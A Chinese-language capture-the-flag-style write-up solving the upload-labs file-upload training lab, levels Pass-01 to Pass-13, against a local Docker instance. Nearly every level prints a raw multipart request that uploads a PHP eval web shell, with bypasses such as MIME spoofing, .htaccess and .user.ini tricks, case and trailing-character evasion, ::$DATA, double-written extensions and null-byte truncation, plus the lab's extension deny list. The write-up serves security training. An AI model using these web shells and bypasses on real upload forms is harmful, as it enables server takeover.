upload-labs

环境 #

使用Docker快速搭建upload labs靶场环境,https://github.com/c0ny1/upload-labs

docker run -dt --name upload-labs -p 50070:80 cuer/upload-labs

部署完后访问http://localhost:50070/

本文只记录关键思路,不详细记录操作过程

文件上传的目的是,上传php脚本文件,并触发脚本的执行

Pass-01 #

Burp抓包修改filename后缀

Connection: close

------WebKitFormBoundaryyBB7ysZsoRXuZa0z
Content-Disposition: form-data; name="upload_file"; filename="eval.php"
Content-Type: image/jpeg

<?php @eval($_GET['shell']);?>

------WebKitFormBoundaryyBB7ysZsoRXuZa0z
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryyBB7ysZsoRXuZa0z--

Pass-02 #

Burp抓包修改filename后缀,注意Content-Type为image/jpeg

Connection: close

------WebKitFormBoundary6AD8rNZJAAJibnyU
Content-Disposition: form-data; name="upload_file"; filename="eval.php"
Content-Type: application/octet-stream

<?php @eval($_GET['shell']);?>

------WebKitFormBoundary6AD8rNZJAAJibnyU
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary6AD8rNZJAAJibnyU--

提示:文件类型不正确,请重新上传!
Connection: close

------WebKitFormBoundary6AD8rNZJAAJibnyU
Content-Disposition: form-data; name="upload_file"; filename="eval.php"
Content-Type: image/jpeg

<?php @eval($_GET['shell']);?>

------WebKitFormBoundary6AD8rNZJAAJibnyU
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary6AD8rNZJAAJibnyU--

Pass-03 #

容器部署的先修改一下配置,重启重启

cd /etc/apache2/conf-available
sed 's|application/x-httpd-php \.php|application/x-httpd-php .php .php5|' docker-php.conf

提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!,且文件上传后会重命名

Connection: close

------WebKitFormBoundary1aTlV7OvLvu82Ety
Content-Disposition: form-data; name="upload_file"; filename="eval.php5"
Content-Type: image/jpeg

<?php @eval($_GET['shell']);?>

------WebKitFormBoundary1aTlV7OvLvu82Ety
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary1aTlV7OvLvu82Ety--
<img src="../upload/202410180932461191.php5" width="250px" />

Pass-04 #

发现文件名不会被重命名,结合.htaccess触发脚本执行使用

Connection: close

------WebKitFormBoundaryow4kbFVhhvlSJqVu
Content-Disposition: form-data; name="upload_file"; filename="eval.jpg"
Content-Type: image/jpeg

<?php @eval($_GET['shell']);?>

------WebKitFormBoundaryow4kbFVhhvlSJqVu
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryow4kbFVhhvlSJqVu--

<img src="../upload/eval.jpg" width="250px" />
Connection: close

------WebKitFormBoundaryow4kbFVhhvlSJqVu
Content-Disposition: form-data; name="upload_file"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .jpg

------WebKitFormBoundaryow4kbFVhhvlSJqVu
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryow4kbFVhhvlSJqVu--

<img src="../upload/.htaccess" width="250px" />

Pass-05 #

查看源码

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

利用.user.ini,但是要首先调整Server API为FastCGI模式

Connection: close

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.jpg"
Content-Type: image/jpeg

<?php @eval($_GET['shell']);?>

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--
Connection: close

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename=".user.ini"
Content-Type: image/jpeg

auto_prepend_file=eval.jpg

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--

Pass-06 #

大小写pHP绕过

Connection: close

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.pHP"
Content-Type: image/jpeg

<?php @eval($_GET['shell']);?>

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--

<img src="../upload/202410210959504446.pHP" width="250px" />

Pass-07 #

查看源码发现$file_ext = trim($file_ext); //首尾去空没了

Connection: close

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.pHP "
Content-Type: image/jpeg

<?php @eval($_GET['shell']);?>

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--

Pass-08 #

查看源码发现$file_name = deldot($file_name);//删除文件名末尾的点没了

Connection: close

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.pHP."
Content-Type: image/jpeg

<?php @eval($_GET['shell']);?>

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--

Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

如果这样命名,系统在保存时会默认去除末尾的空格和点。所以Pass-07和Pass-08 只能在windows上复现?

Pass-09 #

查看源码发现$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA没了

Connection: close

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.php::$DATA"
Content-Type: image/jpeg

<?php @eval($_GET['shell']);?>

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--
上传到服务器的文件在Windows中会自动去掉::$DATA

Pass-10 #

实际eval.php. .会以.php.判断结尾,同时以.php. 存储

$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
Connection: close

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.php. ."
Content-Type: image/jpeg

<?php @eval($_GET['shell']);?>

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--

Pass-11 #

$file_name = str_ireplace($deny_ext,"", $file_name);替换,双写绕过

Connection: close

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.pphphp"
Content-Type: image/jpeg

<?php @eval($_GET['shell']);?>

------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--
服务端对不合法的后缀名进行替换为空是常用手段,但这种替换不具备回溯功能。

Pass-12 #

查看源码发现 $img_path 变量可控。使用 %00 让字符串截断。本环境无法复现,需要PHP <= 5.3.4

%00 截断:

  • 利用手动添加字符串标识符的方式来将后面的内容进行截断。
  • PHP <= 5.3.4。
  • php.ini 文件中 magic_quotes_gpc = Off。

Pass-13 #

题解与 Pass-12 一样,$img_path 变量依旧可控,但是使用 POST 传送。

POST 传送的数据不需要编码,需要传输%00对应的空字符,可以使用BP的URL-decode功能